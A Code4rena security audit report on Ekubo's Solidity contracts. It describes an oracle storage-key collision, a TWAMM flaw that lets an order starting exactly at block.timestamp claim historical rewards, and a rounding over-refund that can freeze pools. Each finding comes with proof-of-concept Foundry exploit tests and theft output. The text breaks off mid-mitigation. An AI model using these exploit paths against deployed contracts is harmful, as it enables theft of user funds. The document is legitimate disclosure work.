code4rena

Ekubo

Smart Contract Security Assessment

Audit dates: Nov 19 — Dec 10, 2025

Overview

About C4

Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Ekubo smart contract system. The audit took place from November 19 to December 10, 2025.

Final report assembled by Code4rena.

Summary

The C4 analysis yielded an aggregated total of 4 unique vulnerabilities. Of these vulnerabilities, 4 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 20 QA reports compiling issues with a risk rating of LOW severity or informational.

All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Ekubo team.

Scope

The code under review can be found within the C4 Ekubo repository, and is composed of 92 smart contracts written in the Solidity programming language and includes 6,283 lines of Solidity code.

The code in C4's Ekubo repository was pulled from:

- Repository: https://github.com/EkuboProtocol/evm-contracts
- Commit hash: `2c32cb9234e01babe2e55c5e3f192cea6d739a27`

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/informational.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic

- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

Medium Risk Findings (4)

[M-01] Oracle Data Corruption via Storage Key Collision

Submitted by BlueSheep, also found by Oxauditagent, CoMMaNDO, dantehrani, hirusha, ht111111, piki, and thimthor

https://github.com/code-423n4/2025-11-ekubo/blob/main/src/extensions/Oracle.sol#L97-L100

https://github.com/code-423n4/2025-11-ekubo/blob/main/src/extensions/Oracle.sol#L108-L111

https://github.com/code-423n4/2025-11-ekubo/blob/main/src/extensions/Oracle.sol#L139-L142

The `Oracle` extension uses a storage key derivation scheme that allows collisions between the `Counts` struct of one token and the `Snapshot` structs of another token. This permits an attacker to corrupt the oracle data (price and liquidity history) of a token that has specific address properties (e.g., 32 leading zeros), breaking the correctness and integrity of the Oracle's historical data and any consumers that rely on it (e.g., `ERC7726`, `PriceFetcher`).

Vulnerability Details

The `Oracle` contract stores two types of data in its `ExposedStorage`:

1. `Counts` struct (metadata) at the slot corresponding to the token address:

```
// src/extensions/Oracle.sol
Counts c;
assembly ("memory-safe") {
    c := sload(token)
}
```

2. `Snapshot` structs (historical data) at a slot derived from the token address and index:

```
// src/extensions/Oracle.sol
assembly ("memory-safe") {
    last := sload(or(shl(32, token), index))
```

```
    }
```

The key for a snapshot is `(token << 32) | index`.

The key for counts is `token`.

A collision occurs if `tokenA = (tokenB << 32) | index`.

If `tokenB` is an address with 32 leading zeros (i.e., `tokenB < 2^128`), then `tokenB << 32` fits within the 160 bits of an address (plus the index in the lower 32 bits).

Specifically, if `tokenB` has 32 leading zeros, let `tokenA = address(tokenB << 32)`.

The storage slot for `Counts(tokenA)` is `tokenA`.

The storage slot for `Snapshot(tokenB, 0)` is `(tokenB << 32) | 0`, which equals `tokenA`.

Thus, initializing a pool for `tokenA` writes a `Counts` struct to the slot `tokenA`. This overwrites the `Snapshot` struct for `tokenB` at index 0.

The `Counts` struct has the following layout:

- `index` (0-31 bits)
- `count` (32-63 bits)
- `capacity` (64-95 bits)
- `lastTimestamp` (96-127 bits)

The `Snapshot` struct has the following layout:

- `timestamp` (0-31 bits)
- `secondsPerLiquidityCumulative` (32-191 bits)
- `tickCumulative` (192-255 bits)

When `Counts` overwrites `Snapshot`:

- `Counts.index` (usually 0 initially) overwrites `Snapshot.timestamp`.
- `Counts.count`, `capacity`, `lastTimestamp` overwrite the lower bits of `Snapshot.secondsPerLiquidityCumulative`.
- The high bits used for `tickCumulative` are also zeroed out.

As a result, the data stored at that snapshot index for `tokenB` is no longer a real historical observation, but a synthetic value derived from the `Counts` metadata of `tokenA`.

This has two concrete consequences:

- **Broken time ordering assumptions:** `Oracle.searchRangeForPrevious` performs a binary search over snapshots assuming timestamps are monotonically increasing. Overwriting a snapshot's timestamp with `0` can violate this monotonicity, causing the binary search to select an unexpected snapshot or, in edge cases, revert with `NoPreviousSnapshotExists` even when data exists.

- **Corrupted cumulative values used by consumers**: Helpers like `OracleLib.getEarliestSnapshotTimestamp` and `getMaximumObservationPeriod` read snapshot 0 and are used by `PriceFetcher` to decide how far back it is safe to query. After corruption, these functions will return values derived from garbage data, and any TWAP / volatility / liquidity statistics that cross the corrupted snapshot will no longer reflect the true price history. `ERC7726` and `PriceFetcher` both rely on `extrapolateSnapshot` and these cumulative values, so their on-chain price outputs for the affected token become untrustworthy.

Note that TWAPs in this system are generally computed from **differences** of cumulative values between two times (e.g., `end - start` divided by `endTime - startTime`). If both endpoints lie on the same linear segment (e.g., both extrapolated from the same corrupted snapshot), a pure timestamp shift alone will cancel out in the difference. The core issue here is not just "timestamp becomes 0", but that we have injected an inconsistent, non-historical snapshot into the time series, which can change which snapshot is chosen and what cumulative values are used for TWAP and related calculations.

Impact

An attacker can corrupt the historical oracle data for any token whose address participates in such a collision, causing `Oracle`-based views (e.g., `ERC7726` quotes, `PriceFetcher` TWAPs / volatilities / liquidity averages) to diverge from the real price path. This breaks the integrity guarantees expected from a manipulation-resistant oracle. While the current Ekubo core AMM does not directly use this oracle for safety-critical checks (so there is no immediate insolvency path inside this repo), downstream protocols that consume Ekubo's oracle / ERC-7726 prices on-chain can make incorrect risk or pricing decisions based on corrupted data. The vulnerability requires a specially structured pair of token addresses, but such vanity addresses can be deliberately generated or may naturally exist.

Recommendations

Use `keccak256` to derive the snapshot storage slot to avoid collisions.

```
// src/extensions/Oracle.sol

function getSnapshotSlot(address token, uint32 index) private pure
returns (bytes32 slot) {
    assembly ("memory-safe") {
        mstore(0, token)
        mstore(32, index)
        slot := keccak256(0, 64)
    }
```

```
}
```

And replace the assembly `sload/sstore` calls to use this computed slot.

Proof of Concept

Note: The provided PoC requires replacing the assembly clz instruction with LibBit.clz (or equivalent) in src/math/ticks.sol, src/types/bitmap.sol, and src/math/time.sol if the testing environment's compiler does not support the clz instruction. This modification is purely for compilation compatibility and does not affect the vulnerability logic.

The following test demonstrates the collision. Add this to `test/OracleCollision.t.sol`.

```
// SPDX-License-Identifier: ekubo-license-v1.eth
pragma solidity >=0.8.30;

import {PoolKey} from "../src/types/poolKey.sol";
import {createFullRangePoolConfig} from "../src/types/poolConfig.sol";
import {FullTest} from "./FullTest.sol";
import {oracleCallPoints} from "../src/extensions/Oracle.sol";
import {IOracle} from "../src/interfaces/extensions/IOracle.sol";
import {CoreLib} from "../src/libraries/CoreLib.sol";
import {OracleLib} from "../src/libraries/OracleLib.sol";
import {Snapshot} from "../src/types/snapshot.sol";
import {Counts} from "../src/types/counts.sol";
import {NATIVE_TOKEN_ADDRESS} from "../src/math/constants.sol";

contract OracleCollisionTest is FullTest {
    using CoreLib for *;
    using OracleLib for *;

    IOracle internal oracle;

    function setUp() public virtual override {
        FullTest.setUp();
        address deployAddress =
address(uint160(oracleCallPoints().toUint8()) << 152);
        deployCodeTo("Oracle.sol", abi.encode(core), deployAddress);
        oracle = IOracle(deployAddress);
    }

    function createOraclePool(address quoteToken, int32 tick) internal
returns (PoolKey memory poolKey) {
        poolKey = createPool(NATIVE_TOKEN_ADDRESS, quoteToken, tick,
createFullRangePoolConfig(0, address(oracle)));
```

```
    }

    function test_collision_between_token_counts_and_snapshot() public {
        // 1. Choose tokenB as a small address (mimicking an address with
leading zeros)
        // Avoid precompiles (1-9)
        address tokenB = address(100);

        // 2. Calculate colliding tokenA
        // Slot for snapshot index 0 of tokenB is: (tokenB << 32) | 0
        address tokenA = address(uint160(uint256(uint160(tokenB)) <<
32));

        // 3. Initialize Pool with tokenB
        // This initializes Counts at slot `tokenB`
        createOraclePool(tokenB, 0);
        uint32 initTime = oracle.snapshots(tokenB, 0).timestamp();

        // 4. Verify initial state of Snapshot 0 (it should be empty/zero
or init state)
        // Actually createOraclePool calls beforeInitializePool which
initializes Snapshot 0.
        Snapshot s0 = oracle.snapshots(tokenB, 0);
        uint32 timestamp0 = s0.timestamp();
        assertEq(timestamp0, initTime);

        // 5. Initialize Pool with tokenA
        // This writes Counts to slot `tokenA`, which IS the slot for
Snapshot 0 of tokenB
        vm.warp(block.timestamp + 100);
        createOraclePool(tokenA, 0);

        // 6. Verify Corruption
        Snapshot s0_corrupted = oracle.snapshots(tokenB, 0);

        // Counts.index (0) overwrites Snapshot.timestamp
        uint32 corruptedTimestamp = s0_corrupted.timestamp();

        assertEq(corruptedTimestamp, 0);
        assert(corruptedTimestamp != timestamp0);

        // Counts data overwrites secondsPerLiquidityCumulative
        uint160 corruptedSPC =
s0_corrupted.secondsPerLiquidityCumulative();
        assert(corruptedSPC != 0);
    }
```

```
}
```

[M-02] TWAMM Instant Orders Can Steal Historical Rewards

Submitted by zzebra83

https://github.com/code-423n4/2025-11-ekubo/blob/bbc87eb26d73700cf886f1b3f06f8a348d9c6aef/src/extensions/TWAMM.sol#L84-L111

When a TWAMM order is created exactly at `block.timestamp == startTime`, the `startTime` is not registered in the time bitmap. This causes `rewardRatesBeforeSlot[startTime]` to remain uninitialized (value 0), resulting in `getRewardRateInside()` returning inflated reward values that include all historical rewards accumulated before the order existed. An attacker can exploit this to steal funds from legitimate order holders.

Finding Description and Impact

Root Cause

In `TWAMM.sol::handleForwardData()`, when processing a new order via `CALL_TYPE_CHANGE_SALE_RATE`, the code handles time registration differently based on whether `block.timestamp` is before or at/after `startTime`:

```
// TWAMM.sol - handleForwardData() around line 180-200
if (block.timestamp < startTime) {
    // Future order: register BOTH startTime and endTime
    _updateTime(poolId, startTime, saleRateDelta, isToken1,
numOrdersChange);
    _updateTime(poolId, endTime, -int256(saleRateDelta), isToken1,
numOrdersChange);
} else {
    // block.timestamp >= startTime (includes the == case)
    // Only register endTime - startTime is NEVER registered!
    _updateTime(poolId, endTime, -int256(saleRateDelta), isToken1,
numOrdersChange);
}
```

When `block.timestamp == startTime`:

1. The condition `block.timestamp < startTime` is **false**
2. Code enters the `else` branch
3. `_updateTime()` is only called for `endTime`, **not** for `startTime`
4. `startTime` is never added to the time bitmap

5. `rewardRatesBeforeSlot[startTime]` is never initialized (remains 0)

Exploitation Mechanism

The `getRewardRateInside()` function calculates rewards as:

```
// TWAMM.sol - getRewardRateInside()
} else if (block.timestamp > config.startTime()) {
    uint256 rewardRateStart = uint256(
        TWAMMStorageLayout.poolRewardRatesBeforeSlot(poolId,
config.startTime()).add(offset).load()
    );
    uint256 rewardRateCurrent = uint256(
        TWAMMStorageLayout.poolRewardRatesSlot(poolId).add(offset).load()
    );

    unchecked {
        result = rewardRateCurrent - rewardRateStart;
    }
}
```

When `rewardRatesBeforeSlot[startTime]` is 0 (uninitialized):

- `result = rewardRateCurrent - 0 = rewardRateCurrent`
- The order receives credit for **ALL** historical rewards accumulated in the pool

Attack Conditions

The exploit requires:

1. `block.timestamp % 256 == 0` (TWAMM uses 256-second time granularity)
2. `startTime` set equal to `block.timestamp`
3. Pool has accumulated rewards from historical orders

This condition occurs approximately **every 4.27 minutes** (256 seconds), making exploitation highly practical.

Impact

Direct Fund Theft: The attacker's inflated `rewardRateInside` allows them to claim rewards far exceeding their fair share, potentially draining the entire shared rewards pool.

Denial of Service: After the attacker collects, legitimate order holders may be completely unable to collect their rewards due to `SavedBalanceOverflow` revert when the pool is drained.

Concrete Example from PoC:

- Victim sells 100e18 token0 over 256 seconds
- Attacker sells 1e18 token0 (1% of victim) at `block.timestamp == startTime`

- Attacker's `rewardRateInside`: **199%** of victim's rate
- Attacker collects: **1.95e18 token1**
- Victim receives: **0 token1** (cannot collect - pool drained)

POC Output

```
=== PoC: Successful Fund Theft via Start Time Bypass ===

Pool initialized with 10000e18 liquidity each token
Victim order created: 100e18 token0, period 1280->1536
Victim rewardRateInside: 19882746319056494424757839475370

Attacker creates order at block.timestamp == startTime:
    block.timestamp: 1792
    startTime: 1792
    CONDITION MET: true
    Attacker sells only 1e18 token0 (1% of victim's amount)
    Attacker rewardRateInside: 39568653254663850866124583543802
    Inflation ratio: 199 % of victim's rate

--- Attacker collects first ---
  Attacker sold: 1e18 token0
  Attacker received: 1950885226553153772 token1

--- Victim attempts to collect ---
  Victim sold: 100e18 token0 (100x more than attacker)
  Expected: Revert due to depleted rewards pool

=== THEFT CONFIRMED ===
  Attacker sold: 1e18 token0
  Attacker received: 1950885226553153772 token1

  Victim sold: 100e18 token0 (100x MORE)
  Victim received: 0 token1 (cannot collect - pool drained)
```

Recommended Mitigation Steps

Option 1: Always Register `startTime` (Recommended)

Modify `handleForwardData()` to always call `_updateTime()` for `startTime`, even when `block.timestamp >= startTime`:

```
if (block.timestamp < startTime) {
    _updateTime(poolId, startTime, saleRateDelta, isToken1,
numOrdersChange);
```

```
    _updateTime(poolId, endTime, -int256(saleRateDelta), isToken1,
numOrdersChange);
} else {
    // FIX: Also register startTime when block.timestamp >= startTime
    _updateTime(poolId, startTime, 0, isToken1, 0); // Register without
rate change
    _updateTime(poolId, endTime, -int256(saleRateDelta), isToken1,
numOrdersChange);
}
```

Option 2: Reject Orders Where `startTime == block.timestamp`

Add validation to prevent the vulnerable condition:

```
require(startTime != block.timestamp, "StartTime cannot equal current
time");
```

Option 3: Store Current Reward Rate on Order Creation

Store `rewardRateCurrent` at order creation time rather than relying on time bitmap lookups:

```
// In order creation logic
orderData.rewardRateAtCreation = currentRewardRate;

// In getRewardRateInside
result = rewardRateCurrent - orderData.rewardRateAtCreation;
```

Recommendation

Option 1 is the simplest fix that maintains backward compatibility while closing the vulnerability.

Proof of Concept

```
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.30;

import {PoolKey} from "../../src/types/poolKey.sol";
import {createFullRangePoolConfig} from "../../src/types/poolConfig.sol";
import {PoolId} from "../../src/types/poolId.sol";
import {MIN_TICK, MAX_TICK} from "../../src/math/constants.sol";
import {nextValidTime} from "../../src/math/time.sol";
import {CoreLib} from "../../src/libraries/CoreLib.sol";
import {TWAMMLib} from "../../src/libraries/TWAMMLib.sol";
```

```
import {TWAMMStorageLayout} from
"../../src/libraries/TWAMMStorageLayout.sol";
import {StorageSlot, next} from "../../src/types/storageSlot.sol";
import {Orders} from "../../src/Orders.sol";
import {BaseTWAMMTest} from "../extensions/TWAMM.t.sol";
import {ITWAMM, OrderKey} from
"../../src/interfaces/extensions/ITWAMM.sol";
import {TwammPoolState} from "../../src/types/twammPoolState.sol";
import {createOrderConfig} from "../../src/types/orderConfig.sol";
import {console} from "forge-std/console.sol";

/**
 * @title TWAMM Start Time Registration Bug - Proof of Concept
 * @notice Demonstrates fund theft vulnerability in TWAMM extension
 *
 * ## Vulnerability Summary
 *
 * When a TWAMM order is created exactly at `block.timestamp ==
startTime`, the
 * `startTime` is NOT registered in the time bitmap. This causes:
 *
 * 1. `rewardRatesBeforeSlot[startTime]` to never be initialized (remains
0)
 * 2. `getRewardRateInside()` returns inflated rewards (currentRate - 0 =
ALL historical rewards)
 * 3. Attacker can steal rewards accumulated by other legitimate order
holders
 *
 * ## Root Cause
 *
 * In `TWAMM.sol::handleForwardData()`, when `block.timestamp >=
startTime`:
 * - `_updateTime()` is only called for `endTime`, NOT for `startTime`
 * - `startTime` is never added to the time bitmap
 * - `rewardRatesBeforeSlot[startTime]` is never written
 *
 * ## Attack Conditions
 *
 * - `block.timestamp % 256 == 0` (occurs every ~4.27 minutes)
 * - `startTime` equals `block.timestamp`
 * - Pool has accumulated rewards from historical orders
 *
 * ## Impact
 *
 * - Direct theft of funds from legitimate TWAMM order holders
 * - Victim may be completely unable to collect their rewards
```

```
 * - No special permissions required
 */
contract TWAMMStartTimeBugPoC is BaseTWAMMTest {
    using CoreLib for *;
    using TWAMMLib for *;

    Orders internal orders;

    address internal attacker = makeAddr("attacker");
    address internal victim1 = makeAddr("victim1");
    address internal victim2 = makeAddr("victim2");

    function setUp() public override {
        BaseTWAMMTest.setUp();
        orders = new Orders(core, twamm, owner);

        // Fund test accounts
        token0.transfer(attacker, 1000e18);
        token1.transfer(attacker, 1000e18);
        token0.transfer(victim1, 1000e18);
        token1.transfer(victim1, 1000e18);
        token0.transfer(victim2, 1000e18);
        token1.transfer(victim2, 1000e18);
    }

    /*//////////////////////////////////////////////////////////////
                        PRIMARY PROOF OF CONCEPT
    //////////////////////////////////////////////////////////////*/

    /**
     * @notice Demonstrates successful fund theft via start time bypass
     *
     * Attack scenario:
     * 1. Victim creates legitimate order selling 100e18 tokens
     * 2. Attacker creates exploit order at block.timestamp == startTime
(selling only 1e18)
     * 3. Attacker collects first - receives inflated rewards
     * 4. Victim CANNOT collect - pool drained by attacker's inflated
claim
     *
     * Result: Attacker steals ~1.95e18 tokens, victim receives NOTHING
     */
    function test_PoC_SuccessfulFundTheft() public {
        console.log("=== PoC: Successful Fund Theft via Start Time Bypass
===\n");
```

```
        uint64 fee = uint64((uint256(1) << 64) / 100); // 1% fee

        // Setup pool with significant liquidity
        vm.warp(1024);
        PoolKey memory poolKey = createTwammPool({fee: fee, tick: 0});
        PoolId poolId = poolKey.toPoolId();
        createPosition(poolKey, MIN_TICK, MAX_TICK, 10000e18, 10000e18);

        console.log("Pool initialized with 10000e18 liquidity each
token");

        // --- PHASE 1: Victim creates legitimate order ---
        uint64 histStart = uint64(block.timestamp + 256); // 1280
        uint64 histEnd = uint64(histStart + 256); // 1536

        vm.startPrank(victim1);
        token0.approve(address(orders), type(uint256).max);
        OrderKey memory victimKey = OrderKey({
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: histStart, _endTime: histEnd})
        });
        (uint256 victimOrderId,) =
orders.mintAndIncreaseSellAmount(victimKey, 100e18, type(uint112).max);
        vm.stopPrank();

        console.log("Victim order created: 100e18 token0, period 1280-
>1536");

        // Execute victim's order
        vm.warp(histEnd);
        twamm.lockAndExecuteVirtualOrders(poolKey);

        uint256 victimRewardRate = twamm.getRewardRateInside(poolId,
victimKey.config);
        console.log("Victim rewardRateInside:", victimRewardRate);

        // --- PHASE 2: Attacker exploits at block.timestamp == startTime
---
        vm.warp(1792); // Advance to unique time not used by other orders
        twamm.lockAndExecuteVirtualOrders(poolKey);

        uint64 attackStart = uint64(block.timestamp); // 1792 ==
block.timestamp (EXPLOIT CONDITION)
        uint64 attackEnd = uint64(attackStart + 256);
```

```
        console.log("\nAttacker creates order at block.timestamp ==
startTime:");
        console.log("  block.timestamp:", block.timestamp);
        console.log("  startTime:", attackStart);
        console.log("  CONDITION MET:", block.timestamp == attackStart);

        vm.startPrank(attacker);
        token0.approve(address(orders), type(uint256).max);
        OrderKey memory attackKey = OrderKey({
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: attackStart, _endTime: attackEnd})
        });
        (uint256 attackOrderId,) =
orders.mintAndIncreaseSellAmount(attackKey, 1e18, type(uint112).max);
        vm.stopPrank();

        console.log("  Attacker sells only 1e18 token0 (1% of victim's
amount)");

        // Execute attacker's order
        vm.warp(attackEnd);
        twamm.lockAndExecuteVirtualOrders(poolKey);

        uint256 attackRewardRate = twamm.getRewardRateInside(poolId,
attackKey.config);
        console.log("  Attacker rewardRateInside:", attackRewardRate);
        console.log("  Inflation ratio:", attackRewardRate * 100 /
victimRewardRate, "% of victim's rate");

        // --- PHASE 3: Attacker collects first - theft succeeds ---
        console.log("\n--- Attacker collects first ---");

        uint256 attackerBalanceBefore = token1.balanceOf(attacker);
        vm.prank(attacker);
        uint256 attackerProceeds = orders.collectProceeds(attackOrderId,
attackKey, attacker);
        uint256 attackerBalanceAfter = token1.balanceOf(attacker);

        console.log("Attacker sold: 1e18 token0");
        console.log("Attacker received:", attackerProceeds, "token1");

        // --- PHASE 4: Victim cannot collect - pool drained ---
        console.log("\n--- Victim attempts to collect ---");
```

```
        console.log("Victim sold: 100e18 token0 (100x more than
attacker)");
        console.log("Expected: Revert due to depleted rewards pool");

        vm.expectRevert();
        vm.prank(victim1);
        orders.collectProceeds(victimOrderId, victimKey, victim1);

        // --- RESULTS ---
        console.log("\n=== THEFT CONFIRMED ===");
        console.log("Attacker sold: 1e18 token0");
        console.log("Attacker received:", attackerProceeds, "token1");
        console.log("");
        console.log("Victim sold: 100e18 token0 (100x MORE)");
        console.log("Victim received: 0 token1 (cannot collect - pool
drained)");
        console.log("");
        console.log("The attacker's inflated rewardRateInside (~199% of
expected)");
        console.log("drained the shared rewards pool, preventing
legitimate collection.");

        assertTrue(attackerProceeds > 0, "Attacker should have received
tokens");
    }

    /*////////////////////////////////////////////////////////////////
                    SUPPORTING PROOF OF CONCEPTS
    ////////////////////////////////////////////////////////////////*/

    /**
     * @notice Demonstrates inflated rewardRateInside after just 1 second
     *
     * Shows that an order created at block.timestamp == startTime has
     * non-zero rewardRateInside after only 1 second, proving it includes
     * ALL historical rewards accumulated before the order existed.
     */
    function test_PoC_InflatedRewardRateAfterOneSecond() public {
        console.log("=== PoC: Inflated rewardRateInside After 1 Second
===\n");

        uint64 fee = uint64((uint256(1) << 64) / 100);

        vm.warp(1024);
        PoolKey memory poolKey = createTwammPool({fee: fee, tick: 0});
        PoolId poolId = poolKey.toPoolId();
```

```
        createPosition(poolKey, MIN_TICK, MAX_TICK, 1000e18, 1000e18);

        // Create and execute historical order to accumulate rewards
        uint64 histStart = uint64(block.timestamp + 256);
        uint64 histEnd = uint64(histStart + 512);

        vm.startPrank(victim1);
        token0.approve(address(orders), type(uint256).max);
        OrderKey memory histKey = OrderKey({
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: histStart, _endTime: histEnd})
        });
        orders.mintAndIncreaseSellAmount(histKey, 50e18,
type(uint112).max);
        vm.stopPrank();

        vm.warp(histEnd);
        twamm.lockAndExecuteVirtualOrders(poolKey);

        uint256 historicalRewardRate = twamm.getRewardRateInside(poolId,
histKey.config);
        console.log("Historical order completed. RewardRateInside:",
historicalRewardRate);

        // Create exploit order at block.timestamp == startTime
        uint64 exploitStart = uint64(block.timestamp);
        uint64 exploitEnd = uint64(exploitStart + 256);

        console.log("\nExploit order created at block.timestamp ==
startTime");
        console.log("  block.timestamp:", block.timestamp);
        console.log("  startTime:", exploitStart);

        vm.startPrank(attacker);
        token0.approve(address(orders), type(uint256).max);
        OrderKey memory exploitKey = OrderKey({
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: exploitStart, _endTime: exploitEnd})
        });
        orders.mintAndIncreaseSellAmount(exploitKey, 1e18,
type(uint112).max);
        vm.stopPrank();
```

```
        // At creation, rewardRateInside should be 0
        uint256 rewardAtCreation = twamm.getRewardRateInside(poolId,
exploitKey.config);
        console.log("\nAt creation (t == startTime): rewardRateInside =",
rewardAtCreation);
        assertEq(rewardAtCreation, 0, "Should be 0 at creation");

        // After just 1 second, check the inflated value
        vm.warp(exploitStart + 1);
        twamm.lockAndExecuteVirtualOrders(poolKey);

        uint256 rewardAfter1Sec = twamm.getRewardRateInside(poolId,
exploitKey.config);
        console.log("After 1 second: rewardRateInside =",
rewardAfter1Sec);

        console.log("\n=== BUG CONFIRMED ===");
        console.log("A 1-second-old order has rewardRateInside:",
rewardAfter1Sec);
        console.log("This should be ~0, but includes ALL historical
rewards!");
        console.log("Historical rewards were:", historicalRewardRate);

        assertTrue(rewardAfter1Sec > 0, "1-second order should not have
non-zero rewards");
    }

    /**
     * @notice Demonstrates the 2x inflation in rewardRateInside
     *
     * Compares rewardRateInside between:
     * - Historical order (created normally)
     * - Exploit order (created at block.timestamp == startTime)
     *
     * Both sell same amount, same duration, but exploit has ~2x
rewardRateInside
     */
    function test_PoC_RewardRateInflationComparison() public {
        console.log("=== PoC: RewardRateInside Inflation Comparison
===\n");

        uint64 fee = uint64((uint256(1) << 64) / 100);

        vm.warp(1024);
        PoolKey memory poolKey = createTwammPool({fee: fee, tick: 0});
```

```
        PoolId poolId = poolKey.toPoolId();
        createPosition(poolKey, MIN_TICK, MAX_TICK, 1000e18, 1000e18);

        // Historical order: 1280 -> 1536
        uint64 histStart = uint64(block.timestamp + 256);
        uint64 histEnd = uint64(histStart + 256);

        vm.startPrank(victim1);
        token0.approve(address(orders), type(uint256).max);
        OrderKey memory histKey = OrderKey({
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: histStart, _endTime: histEnd})
        });
        orders.mintAndIncreaseSellAmount(histKey, 10e18,
type(uint112).max);
        vm.stopPrank();

        console.log("Historical order: 10e18 token0, 1280->1536 (256
sec)");

        vm.warp(histEnd);
        twamm.lockAndExecuteVirtualOrders(poolKey);

        // Advance to unique time for exploit
        vm.warp(1792);
        twamm.lockAndExecuteVirtualOrders(poolKey);

        // Exploit order: 1792 -> 2048 (same duration as historical)
        uint64 exploitStart = uint64(block.timestamp); // ==
block.timestamp
        uint64 exploitEnd = uint64(exploitStart + 256);

        vm.startPrank(attacker);
        token0.approve(address(orders), type(uint256).max);
        OrderKey memory exploitKey = OrderKey({
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: exploitStart, _endTime: exploitEnd})
        });
        orders.mintAndIncreaseSellAmount(exploitKey, 10e18,
type(uint112).max);
        vm.stopPrank();
```

```
        console.log("Exploit order: 10e18 token0, 1792->2048 (256 sec)");
        console.log("  Created at block.timestamp == startTime");

        vm.warp(exploitEnd);
        twamm.lockAndExecuteVirtualOrders(poolKey);

        uint256 histRewardRate = twamm.getRewardRateInside(poolId,
histKey.config);
        uint256 exploitRewardRate = twamm.getRewardRateInside(poolId,
exploitKey.config);

        console.log("\n=== COMPARISON ===");
        console.log("Both orders: Same amount (10e18), Same duration (256
sec)");
        console.log("");
        console.log("Historical rewardRateInside:", histRewardRate);
        console.log("Exploit rewardRateInside:", exploitRewardRate);
        console.log("Ratio:", exploitRewardRate * 100 / histRewardRate,
"%");

        assertTrue(exploitRewardRate > histRewardRate, "Exploit should
have inflated rewardRateInside");

        console.log("\nExploit order has ~2x the rewardRateInside despite
identical parameters!");
        console.log("This is because it includes rewards from the
historical order's period.");
    }

    /**
     * @notice Demonstrates that startTime is not registered when
block.timestamp == startTime
     *
     * Shows the root cause: when block.timestamp >= startTime,
_updateTime() is not
     * called for startTime, so it's never added to the time bitmap.
     */
    function test_PoC_StartTimeNotRegistered() public {
        console.log("=== PoC: StartTime Not Registered in Bitmap ===\n");

        uint64 fee = uint64((uint256(1) << 64) / 100);

        // Use time that's multiple of 256
        vm.warp(2048);

        PoolKey memory poolKey = createTwammPool({fee: fee, tick: 0});
```

```
        createPosition(poolKey, MIN_TICK, MAX_TICK, 100e18, 100e18);

        uint64 startTime = uint64(block.timestamp); // EQUAL to
block.timestamp
        uint64 endTime = uint64(startTime + 256);

        console.log("Creating order at block.timestamp == startTime:");
        console.log("  block.timestamp:", block.timestamp);
        console.log("  startTime:", startTime);
        console.log("  block.timestamp < startTime:", block.timestamp <
startTime);
        console.log("  Condition for _updateTime(startTime):",
block.timestamp < startTime);
        console.log("");
        console.log("Since block.timestamp >= startTime, the code takes
the else branch");
        console.log("and _updateTime is NOT called for startTime!");

        vm.startPrank(attacker);
        token0.approve(address(orders), type(uint256).max);
        OrderKey memory key = OrderKey({
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: startTime, _endTime: endTime})
        });
        orders.mintAndIncreaseSellAmount(key, 1e18, type(uint112).max);
        vm.stopPrank();

        console.log("\nOrder created successfully.");
        console.log("However, rewardRatesBeforeSlot[startTime] was never
initialized.");
        console.log("This causes getRewardRateInside() to return inflated
values.");
    }
}
```

[M-03] Wrong rounding direction in DurationRemaining leads to value loss from TWAMM extension and Temporarily Freezing of a Pool

Submitted by jonah1005

https://github.com/code-423n4/2025-11-ekubo/blob/bbc87eb26d73700cf886f1b3f06f8a348d9c6aef/src/extensions/TWAMM.sol

#L301-L312

Finding description and impact

Root cause

The TWAMM extension contains a critical rounding error in the `handleForwardData` function. The issue stems from rounding logic at lines 305-312:

TWAMM.sol#L301-L312

```
uint256 amountRequired = computeAmountFromSaleRate({
    saleRate: saleRateNext,
    duration: durationRemaining,
    roundUp: true
});

uint256 remainingSellAmount = computeAmountFromSaleRate({
    saleRate: saleRate,
    duration: durationRemaining,
    roundUp: true  //  Should be false
});
```

Using `roundUp: true` for `remainingSellAmount` causes the protocol to over-refund users by rounding up the amount that should be returned.

Even though the swap amount is rounding down at TWAMM.sol#L429-L437 when the extension does the swap and the amount required is rounded up when users update the order. The exploiter can split one order into multiple orders, so the amount calculated from `totalSaleRate` would not lose value from rounding up while the extension mistakenly over-refunds a small order.

In the provided POC, the exploiter creates 256 small orders and removes them all before they expire. While the exploiters can not get any refund because of the withdrawal fees, the extension loses 255 wei of token creating a 255 debt. This debt would further DOS the whole pool when the next TWAMM order is executed.

Impact

Cumulative Rounding Error Accumulation: An attacker can exploit this by creating many small orders and canceling them before the orders expire. Each cancellation causes 1 wei over-refund. There are two attack scenarios:

1. The pool can be frozen if there's not enough of a saved balance to do the trade. Any interaction to the pool can be frozen. If the exploiter attacks the pool during market turbulence, liquidity providers can incur economic loss.

2. An attacker may create a new pool with only themselves as the liquidity provider. For every interaction to the pool, it can steal 1 wei of the token. Assume there's a high value low-decimals tokens, the gas cost of the attack would be cheaper than the profit. For example, 1 satoshi of BTC is around 0.001 USD. The gas cost is expected to be lower on a cheaper chain.

The issue leads to economic profit attacks on certain chains or a temporary DOS in most settings. This should be a medium-risk issue.

Recommended Mitigation Steps

Change lines 311-312 to use `roundUp: false` when calculating the remaining sell amount:

```
    // src/extensions/TWAMM.sol line 312
    uint256 remainingSellAmount =
